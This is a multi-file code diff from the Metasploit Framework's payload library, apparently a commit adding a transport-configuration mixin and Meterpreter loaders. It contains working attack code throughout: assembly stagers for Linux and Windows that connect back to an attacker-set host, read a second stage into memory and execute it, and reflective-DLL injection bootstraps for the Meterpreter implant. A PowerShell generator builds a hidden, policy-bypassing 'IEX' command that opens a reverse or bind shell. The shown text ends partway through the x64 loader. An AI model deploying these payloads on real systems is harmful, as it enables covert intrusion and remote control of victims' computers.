@ -0,0 +1,128 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/linux'
module Msf
###
#
# Complex reverse TCP payload generation for Linux ARCH_X86
#
###
module Payload::Linux::ReverseTcp
include Msf::Payload::TransportConfig
include Msf::Payload::Linux
#
# Generate the first stage
#
def generate
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],
retry_count: datastore['ReverseConnectRetries'],
reliable: false
}
# Generate the advanced stager if we have space
unless self.available_space.nil? || required_space > self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true
end
generate_reverse_tcp(conf)
end
def transport_config(opts={})
transport_config_reverse_tcp(opts)
end
#
# Generate and compile the stager
#
def generate_reverse_tcp(opts={})
asm = asm_reverse_tcp(opts)
buf = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
apply_prepends(buf)
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = 300
# Reliability adds 10 bytes for recv error checks
space += 10
# The final estimated size
space
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :host The host IP to connect to
# @option opts [Bool] :reliable Whether or not to enable error handling code
#
def asm_reverse_tcp(opts={})
# TODO: reliability is coming
retry_count = [opts[:retry_count].to_i, 1].max
reliable = opts[:reliable]
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
asm = %Q^
xor ebx, ebx
mul ebx
push ebx
inc ebx
push ebx
push 0x2
mov al, 0x66
mov ecx, esp
int 0x80 ; sys_socketcall
xchg eax, edi
pop ebx
push #{encoded_host}
push #{encoded_port}
mov ecx, esp
push 0x66
pop eax
push eax
push ecx
push edi
mov ecx, esp
inc ebx
int 0x80 ; sys_socketcall
mov dl, 0x7
mov ecx, 0x1000
mov ebx, esp
shr ebx, 0xc
shl ebx, 0xc
mov al, 0x7d
int 0x80 ; sys_mprotect
pop ebx
mov ecx, esp
cdq
mov dh, 0xc
mov al, 0x3
int 0x80 ; sys_read
jmp ecx
^
asm
end
end
end

View File

@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/option_container'
require 'msf/core/payload/transport_config'
###
#
@ -9,6 +10,8 @@ require 'msf/core/option_container'
###
module Msf::Payload::Stager
include Msf::Payload::TransportConfig
def initialize(info={})
super
@ -22,6 +25,28 @@ module Msf::Payload::Stager
end
#
# Perform attempt at detecting the appropriate transport config.
# Call the determined config with passed options.
# Override this in stages/stagers to use specific transports
#
def transport_config(opts={})
if self.refname =~ /reverse_/
direction = 'reverse'
else
direction = 'bind'
end
if self.refname =~ /_tcp/
proto = 'tcp'
elsif self.refname =~ /_https/
proto = 'https'
else
proto = 'http'
end
send("transport_config_#{direction}_#{proto}", opts)
end
#
# Sets the payload type to a stager.
#

View File

@ -0,0 +1,71 @@
# -*- coding: binary -*-
require 'msf/core/payload/uuid_options'
##
# This module contains helper functions for creating the transport
# configuration stubs that are used for Meterpreter payloads.
##
module Msf::Payload::TransportConfig
include Msf::Payload::UUIDOptions
def transport_config_reverse_tcp(opts={})
config = transport_config_bind_tcp(opts)
config[:lhost] = datastore['LHOST']
config
end
def transport_config_reverse_ipv6_tcp(opts={})
config = transport_config_reverse_tcp(opts)
config[:scheme] = 'tcp6'
config[:scope_id] = datastore['SCOPEID']
config
end
def transport_config_bind_tcp(opts={})
{
:scheme => 'tcp',
:lhost => datastore['LHOST'],
:lport => datastore['LPORT'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i
}
end
def transport_config_reverse_https(opts={})
config = transport_config_reverse_http(opts)
config[:scheme] = 'https'
config[:ssl_cert_hash] = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
config
end
def transport_config_reverse_http(opts={})
# most cases we'll have a URI already, but in case we don't
# we should ask for a connect to happen given that this is
# going up as part of the stage.
uri = opts[:uri]
unless uri
sum = uri_checksum_lookup(:connect)
uri = generate_uri_uuid(sum, opts[:uuid])
end
{
:scheme => 'http',
:lhost => datastore['LHOST'],
:lport => datastore['LPORT'].to_i,
:uri => uri,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:proxy_host => datastore['PayloadProxyHost'],
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass']
}
end
end

View File

@ -24,6 +24,8 @@ module Msf::Payload::Windows
require 'msf/core/payload/windows/dllinject'
require 'msf/core/payload/windows/exec'
require 'msf/core/payload/windows/loadlibrary'
require 'msf/core/payload/windows/meterpreter_loader'
require 'msf/core/payload/windows/x64/meterpreter_loader'
require 'msf/core/payload/windows/reflectivedllinject'
require 'msf/core/payload/windows/x64/reflectivedllinject'
@ -32,10 +34,12 @@ module Msf::Payload::Windows
#
@@exit_types =
{
nil => 0, # Default to nothing
'' => 0, # Default to nothing
'seh' => 0xEA320EFE, # SetUnhandledExceptionFilter
'thread' => 0x0A2A1DE0, # ExitThread
'process' => 0x56A2B5F0, # ExitProcess
'none' => 0x5DE2C5AA, # GetLastError
'none' => 0x5DE2C5AA # GetLastError
}
#

View File

@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/windows/block_api'
require 'msf/core/payload/windows/exitfunk'
@ -16,37 +17,33 @@ module Msf
module Payload::Windows::BindTcp
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Windows::BlockApi
include Msf::Payload::Windows::Exitfunk
def close_listen_socket
datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true
end
#
# Generate the first stage
#
def generate
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
return generate_bind_tcp(
port: datastore['LPORT'].to_i,
close_socket: close_listen_socket
)
end
conf = {
port: datastore['LPORT'].to_i,
exitfunk: datastore['EXITFUNC'],
close_socket: close_listen_socket,
reliable: true
port: datastore['LPORT'],
reliable: false
}
# Generate the more advanced stager if we have the space
unless self.available_space.nil? || required_space > self.available_space
conf[:exitfunk] = datastore['EXITFUNC'],
conf[:reliable] = true
end
generate_bind_tcp(conf)
end
def transport_config(opts={})
transport_config_bind_tcp(opts)
end
#
# Generate and compile the stager
#
@ -67,8 +64,7 @@ module Payload::Windows::BindTcp
#
def required_space
# Start with our cached default generated size
# TODO: need help with this from the likes of HD.
space = 277
space = cached_size
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31
@ -78,11 +74,6 @@ module Payload::Windows::BindTcp
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
space += 14
# if the payload doesn't need the listen socket closed then we save space. This is
# the case for meterpreter payloads, as metsrv now closes the listen socket once it
# kicks off (needed for more reliable shells).
space -= 8 unless close_listen_socket
# The final estimated size
space
end
@ -97,7 +88,6 @@ module Payload::Windows::BindTcp
def asm_bind_tcp(opts={})
reliable = opts[:reliable]
close_socket = opts[:close_socket]
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
asm = %Q^
@ -167,22 +157,12 @@ module Payload::Windows::BindTcp
push edi ; listening socket
push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
call ebp ; accept( s, 0, 0 );
^
if close_socket
asm << %Q^
push edi ; push the listening socket to close
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
call ebp ; closesocket( s );
^
else
asm << %Q^
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
^
end
push edi ; push the listening socket
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
call ebp ; closesocket( s );
asm << %Q^
recv:
; Receive the size of the incoming second stage...
push 0 ; flags
@ -213,7 +193,6 @@ module Payload::Windows::BindTcp
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
push ebx ; push the address of the new stage so we can return into it
read_more: ;
push 0 ; flags
push esi ; length

View File

@ -0,0 +1,98 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/reflective_dll_loader'
module Msf
###
#
# Common module stub for ARCH_X86 payloads that make use of Meterpreter.
#
###
module Payload::Windows::MeterpreterLoader
include Msf::ReflectiveDLLLoader
include Msf::Payload::Windows
def initialize(info = {})
super(update_info(info,
'Name' => 'Meterpreter & Configuration RDI',
'Description' => 'Inject Meterpreter & the configuration stub via RDI',
'Author' => [ 'sf', 'OJ Reeves' ],
'References' => [
[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original
[ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'PayloadCompat' => { 'Convention' => 'sockedi -https', },
'Stage' => { 'Payload' => "" }
))
end
def asm_invoke_metsrv(opts={})
asm = %Q^
; prologue
dec ebp ; 'M'
pop edx ; 'Z'
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes)
push edx ; restore edx
inc ebp ; restore ebp
push ebp ; save ebp for later
mov ebp, esp ; set up a new stack frame
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader() (0x????????)
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
call ebx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
; offset from ReflectiveLoader() to the end of the DLL
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
^
unless opts[:stageless]
asm << %Q^
mov [ebx], edi ; write the current socket to the config
^
end
asm << %Q^
push ebx ; push the pointer to the configuration start
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
^
end
def stage_meterpreter(stageless=false)
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))
asm_opts = {
rdi_offset: offset,
length: dll.length,
stageless: stageless
}
asm = asm_invoke_metsrv(asm_opts)
# generate the bootstrap asm
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if bootstrap.length > 62
raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!"
end
# patch the bootstrap code into the dll's DOS header...
dll[ 0, bootstrap.length ] = bootstrap
dll
end
end
end

View File

@ -0,0 +1,51 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows'
module Msf
###
#
# Implements an overarching powershell payload generation module
#
###
module Payload::Windows::Powershell
def generate_powershell_code(conntype)
lport = datastore['LPORT']
lhost = datastore['LHOST']
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
script_in = ""
::File.open(template_path, "rb") do |fd|
script_in << fd.read(fd.stat.size)
end
mods = ''
if conntype == "Bind"
script_in << "\npowerfun -Command bind"
elsif conntype == "Reverse"
script_in << "\npowerfun -Command reverse -Sslcon true"
end
if datastore['LOAD_MODULES']
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
mods_array.collect(&:strip)
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
mods_array.each {|m| vprint_good " #{m}"}
mods = "\"#{mods_array.join("\",\n\"")}\""
script_in << " -Download true\n"
end
script_in.gsub!('MODULES_REPLACE', mods)
script_in.gsub!('LPORT_REPLACE', lport.to_s)
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
script = Rex::Powershell::Command.compress_script(script_in)
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
end
end
end

View File

@ -30,11 +30,7 @@ module Payload::Windows::ReflectiveDllInject
'Platform' => 'win',
'Arch' => ARCH_X86,
'PayloadCompat' => { 'Convention' => 'sockedi -https', },
'Stage' =>
{
'Offsets' => { 'EXITFUNC' => [ 33, 'V' ] },
'Payload' => ""
}
'Stage' => { 'Payload' => "" }
))
register_options( [ OptPath.new( 'DLL', [ true, "The local path to the Reflective DLL to upload" ] ), ], self.class )
@ -44,65 +40,59 @@ module Payload::Windows::ReflectiveDllInject
datastore['DLL']
end
def stage_payload(target_id=nil)
def asm_invoke_dll(opts={})
asm = %Q^
; prologue
dec ebp ; 'M'
pop edx ; 'Z'
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes)
push edx ; restore edx
inc ebp ; restore ebp
push ebp ; save ebp for later
mov ebp, esp ; set up a new stack frame
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader() (0x????????)
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
call ebx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
push edi ; push the socket handle
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
mov ebx, eax ; save DllMain for another call
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
; push the exitfunk value onto the stack
push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
push 5 ; indicate that we have detached
push eax ; push some arbitrary value for hInstance
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
^
end
def stage_payload
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(library_path)
exit_funk = [ @@exit_types['thread'] ].pack( "V" ) # Default to ExitThread for migration
asm_opts = {
rdi_offset: offset,
exitfunk: 'thread' # default to 'thread' for migration
}
bootstrap = "\x4D" + # dec ebp ; M
"\x5A" + # pop edx ; Z
"\xE8\x00\x00\x00\x00" + # call 0 ; call next instruction
"\x5B" + # pop ebx ; get our location (+7)
"\x52" + # push edx ; push edx back
"\x45" + # inc ebp ; restore ebp
"\x55" + # push ebp ; save ebp
"\x89\xE5" + # mov ebp, esp ; setup fresh stack frame
"\x81\xC3" + [offset-7].pack( "V" ) + # add ebx, 0x???????? ; add offset to ReflectiveLoader
"\xFF\xD3" + # call ebx ; call ReflectiveLoader
"\x89\xC3" + # mov ebx, eax ; save DllMain for second call
"\x57" + # push edi ; our socket
"\x68\x04\x00\x00\x00" + # push 0x4 ; signal we have attached
"\x50" + # push eax ; some value for hinstance
"\xFF\xD0" + # call eax ; call DllMain( somevalue, DLL_METASPLOIT_ATTACH, socket )
"\x68" + exit_funk + # push 0x???????? ; our EXITFUNC placeholder
"\x68\x05\x00\x00\x00" + # push 0x5 ; signal we have detached
"\x50" + # push eax ; some value for hinstance
"\xFF\xD3" # call ebx ; call DllMain( somevalue, DLL_METASPLOIT_DETACH, exitfunk )
asm = asm_invoke_dll(asm_opts)
# generate the bootstrap asm
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if( bootstrap.length > 62 )
print_error( "Reflective Dll Injection (x86) generated an oversized bootstrap!" )
return
if bootstrap.length > 62
raise RuntimeError, "Reflective DLL Injection (x86) generated an oversized bootstrap!"
end
# patch the bootstrap code into the dll's DOS header...
dll[ 0, bootstrap.length ] = bootstrap
# patch in the timeout options
timeout_opts = {
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
}
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
# patch the target ID into the URI if specified
if target_id
i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00")
if i
t = target_id.to_s
raise "Target ID must be less than 5 bytes" if t.length > 4
u = "/B#{t} HTTP/1.0\r\n\r\n\x00"
print_status("Patching Target ID #{t} into DLL")
dll[i, u.length] = u
end
end
# return our stage to be loaded by the intermediate stager
return dll
dll
end
end

View File

@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/windows/block_api'
require 'msf/core/payload/windows/exitfunk'
require 'msf/core/payload/uuid_options'
@ -17,6 +18,7 @@ module Msf
module Payload::Windows::ReverseHttp
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Windows::BlockApi
include Msf::Payload::Windows::Exitfunk
@ -85,6 +87,13 @@ module Payload::Windows::ReverseHttp
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_http(opts)
end
#
# Generate the URI for the initial stager
#

View File

@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/windows/reverse_http'
module Msf
@ -15,6 +16,7 @@ module Msf
module Payload::Windows::ReverseHttps
include Msf::Payload::TransportConfig
include Msf::Payload::Windows::ReverseHttp
#
@ -64,6 +66,13 @@ module Payload::Windows::ReverseHttps
generate_reverse_https(conf)
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_https(opts)
end
end
end

View File

@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/windows/block_api'
require 'msf/core/payload/windows/exitfunk'
@ -14,41 +15,35 @@ module Msf
module Payload::Windows::ReverseTcp
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Windows::BlockApi
include Msf::Payload::Windows::Exitfunk
#
# Register reverse_tcp specific options
#
def initialize(*args)
super
end
#
# Generate the first stage
#
def generate
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
return generate_reverse_tcp(
port: datastore['LPORT'],
host: datastore['LHOST'],
retry_count: datastore['ReverseConnectRetries'],
)
end
conf = {
host: datastore['LHOST'],
port: datastore['LPORT'],
port: datastore['LPORT'],
host: datastore['LHOST'],
retry_count: datastore['ReverseConnectRetries'],
exitfunk: datastore['EXITFUNC'],
reliable: true
reliable: false
}
# Generate the advanced stager if we have space
unless self.available_space.nil? || required_space > self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true
end
generate_reverse_tcp(conf)
end
def transport_config(opts={})
transport_config_reverse_tcp(opts)
end
#
# Generate and compile the stager
#

View File

@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/windows/block_api'
require 'msf/core/payload/windows/exitfunk'
require 'msf/core/payload/windows/reverse_http'
@ -17,15 +18,9 @@ module Msf
module Payload::Windows::ReverseWinHttp
include Msf::Payload::TransportConfig
include Msf::Payload::Windows::ReverseHttp
#
# Register reverse_winhttp specific options
#
def initialize(*args)
super
end
#
# Generate the first stage
#
@ -52,6 +47,9 @@ module Payload::Windows::ReverseWinHttp
generate_reverse_winhttp(conf)
end
def transport_config(opts={})
transport_config_reverse_http(opts)
end
#
# Generate and compile the stager
#
@ -371,6 +369,8 @@ module Payload::Windows::ReverseWinHttp
pop eax ; clear the temporary storage
execute_stage:
xor edi, edi ; clear EDI, so we don't mislead meterpreter into
; thinking it has a valid socket to play with
ret ; dive into the stored stage address
got_server_uri:

View File

@ -1,8 +1,10 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/windows/reverse_winhttp'
require 'msf/core/payload/windows/verify_ssl'
require 'rex/payloads/meterpreter/uri_checksum'
module Msf
@ -16,6 +18,7 @@ module Msf
module Payload::Windows::ReverseWinHttps
include Msf::Payload::TransportConfig
include Msf::Payload::Windows::ReverseWinHttp
include Msf::Payload::Windows::VerifySsl
@ -82,6 +85,10 @@ module Payload::Windows::ReverseWinHttps
generate_reverse_winhttps(conf)
end
def transport_config(opts={})
transport_config_reverse_https(opts)
end
#
# Determine the maximum amount of space required for the features requested
#

View File

@ -1,121 +0,0 @@
#-*- coding: binary -*-
require 'msf/core'
require 'rex/payloads/meterpreter/patch'
module Msf
##
#
# Implements stageless invocation of metsrv in x86
#
##
module Payload::Windows::StagelessMeterpreter
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::ReflectiveDLLLoader
def asm_invoke_metsrv(opts={})
asm = %Q^
; prologue
dec ebp ; 'M'
pop edx ; 'Z'
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes)
push edx ; restore edx
inc ebp ; restore ebp
push ebp ; save ebp for later
mov ebp, esp ; set up a new stack frame
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader() (0x????????)
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
call ebx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; offset from ReflectiveLoader() to the end of the DLL
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
push ebx ; push the pointer to the extension list
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
mov ebx, eax ; save DllMain for another call
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
; push the exitfunk value onto the stack
push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
push 5 ; indicate that we have detached
push eax ; push some arbitrary value for hInstance
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
^
asm
end
def generate_stageless_x86(url = nil)
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))
conf = {
:rdi_offset => offset,
:length => dll.length,
:exitfunk => datastore['EXITFUNC']
}
asm = asm_invoke_metsrv(conf)
# generate the bootstrap asm
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if bootstrap.length > 62
print_error("Stageless Meterpreter generated with oversized x86 bootstrap.")
return
end
# patch the binary with all the stuff
dll[0, bootstrap.length] = bootstrap
# the URL might not be given, as it might be patched in some other way
if url
# Patch the URL using the patcher as this supports both ASCII and WCHAR.
unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00")
# If the patching failed this could mean that we are somehow
# working with outdated binaries, so try to patch with the
# old stuff.
Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00")
end
end
# Patch in the timeout options
timeout_opts = {
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i
}
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
# if a block is given then call that with the meterpreter dll
# so that custom patching can happen if required
yield dll if block_given?
# append each extension to the payload, including
# the size of the extension
unless datastore['EXTENSIONS'].nil?
datastore['EXTENSIONS'].split(',').each do |e|
e = e.strip.downcase
ext, o = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{e}", 'x86.dll'))
# append the size, offset to RDI and the payload itself
dll << [ext.length].pack('V') + ext
end
end
# Terminate the "list" of extensions
dll + [0].pack('V')
end
end
end

View File

@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/windows/x64/block_api'
require 'msf/core/payload/windows/x64/exitfunk'
@ -14,36 +15,33 @@ module Msf
module Payload::Windows::BindTcp_x64
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Windows::BlockApi_x64
include Msf::Payload::Windows::Exitfunk_x64
def close_listen_socket
datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true
end
#
# Generate the first stage
#
def generate
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
return generate_bind_tcp(
port: datastore['LPORT'],
close_socket: close_listen_socket
)
end
conf = {
port: datastore['LPORT'],
exitfunk: datastore['EXITFUNC'],
close_socket: close_listen_socket,
reliable: true
port: datastore['LPORT'],
reliable: false
}
# Generate the more advanced stager if we have the space
unless self.available_space.nil? || required_space > self.available_space
conf[:exitfunk] = datastore['EXITFUNC'],
conf[:reliable] = true
end
generate_bind_tcp(conf)
end
def transport_config(opts={})
transport_config_bind_tcp(opts)
end
#
# Generate and compile the stager
#
@ -66,21 +64,17 @@ module Payload::Windows::BindTcp_x64
def required_space
# Start with our cached default generated size
# TODO: need help with this from the likes of HD.
space = 277
space = cached_size
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31
# EXITFUNK unset will still call ExitProces, which adds 7 bytes (accounted for above)
# TODO: this is coming soon
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
#space += 14
# if the payload doesn't need the listen socket closed then we save space. This is
# the case for meterpreter payloads, as metsrv now closes the listen socket once it
# kicks off (needed for more reliable shells).
space -= 11 unless close_listen_socket
# The final estimated size
space
end
@ -94,7 +88,6 @@ module Payload::Windows::BindTcp_x64
#
def asm_bind_tcp(opts={})
reliable = opts[:reliable]
close_socket = opts[:close_socket]
encoded_port = "0x%.16x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
asm = %Q^
@ -150,23 +143,11 @@ module Payload::Windows::BindTcp_x64
mov rcx, rdi ; listening socket
mov r10d, 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
call rbp ; accept( s, 0, 0 );
^
if close_socket
asm << %Q^
; perform the call to closesocket...
mov rcx, rdi ; the listening socket to close
mov rdi, rax ; swap the new connected socket over the listening socket
mov r10d, 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
call rbp ; closesocket( s );
^
else
asm << %Q^
mov rdi, rax ; swap the new connected socket over the listening socket
^
end
asm << %Q^
; restore RSP so we dont have any alignment issues with the next block...
add rsp, #{408+8+8*4+32*7} ; cleanup the stack allocations

View File

@ -40,14 +40,14 @@ module Payload::Windows::Exitfunk_x64
mov r10d, 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
call rbp ; GetVersion(); (AL will = major version and AH will = minor version)
add rsp, 40 ; cleanup the default param space on stack
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
jl short goodbye ; Then just call the exit function...
cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7
jl exitfunk_goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on
; Windows Vista, 2008 or 7...
jne short goodbye ;
jne exitfunk_goodbye ;
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
goodbye: ; We now perform the actual call to the exit function
push byte 0 ;
exitfunk_goodbye: ; We now perform the actual call to the exit function
push 0 ;
pop rcx ; set the exit function parameter
mov r10d, ebx ; place the correct EXITFUNK into r10d
call rbp ; call EXITFUNK( 0 );

View File

@ -0,0 +1,102 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/reflective_dll_loader'
module Msf
###
#
# Common module stub for ARCH_X86_64 payloads that make use of Meterpreter.
#
###
module Payload::Windows::MeterpreterLoader_x64
include Msf::ReflectiveDLLLoader
include Msf::Payload::Windows
def initialize(info = {})
super(update_info(info,
'Name' => 'Reflective DLL Injection',
'Description' => 'Inject a DLL via a reflective loader',
'Author' => [ 'sf', 'OJ Reeves' ],
'References' => [
[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original
[ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations
],
'Platform' => 'win',
'Arch' => ARCH_X86_64,
'PayloadCompat' => { 'Convention' => 'sockrdi' },
'Stage' => { 'Payload' => "" }
))
end
def asm_invoke_metsrv(opts={})
asm = %Q^
; prologue
db 0x4d, 0x5a ; 'MZ' = "pop r10"
push r10 ; back to where we started
push rbp ; save rbp
mov rbp, rsp ; set up a new stack frame
sub rsp, 32 ; allocate some space for calls.
; GetPC
call $+5 ; relative call to get location
pop rbx ; pop return value
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader()
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)}
call rbx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
; offset from ReflectiveLoader() to the end of the DLL
add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
^
unless opts[:stageless]
asm << %Q^
; store the comms socket handle
mov dword ptr [rbx], edi
^
end
asm << %Q^
mov r8, rbx ; r8 points to the extension list
push 4 ; push up 4, indicate that we have attached
pop rdx ; pop 4 into rdx
call rax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
^
end
def stage_meterpreter(stageless=false)
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll'))
asm_opts = {
rdi_offset: offset,
length: dll.length,
stageless: stageless
}
asm = asm_invoke_metsrv(asm_opts)
# generate the bootstrap asm
bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if bootstrap.length > 62
raise RuntimeError, "Meterpreter loader (x64) generated an oversized bootstrap!"
end
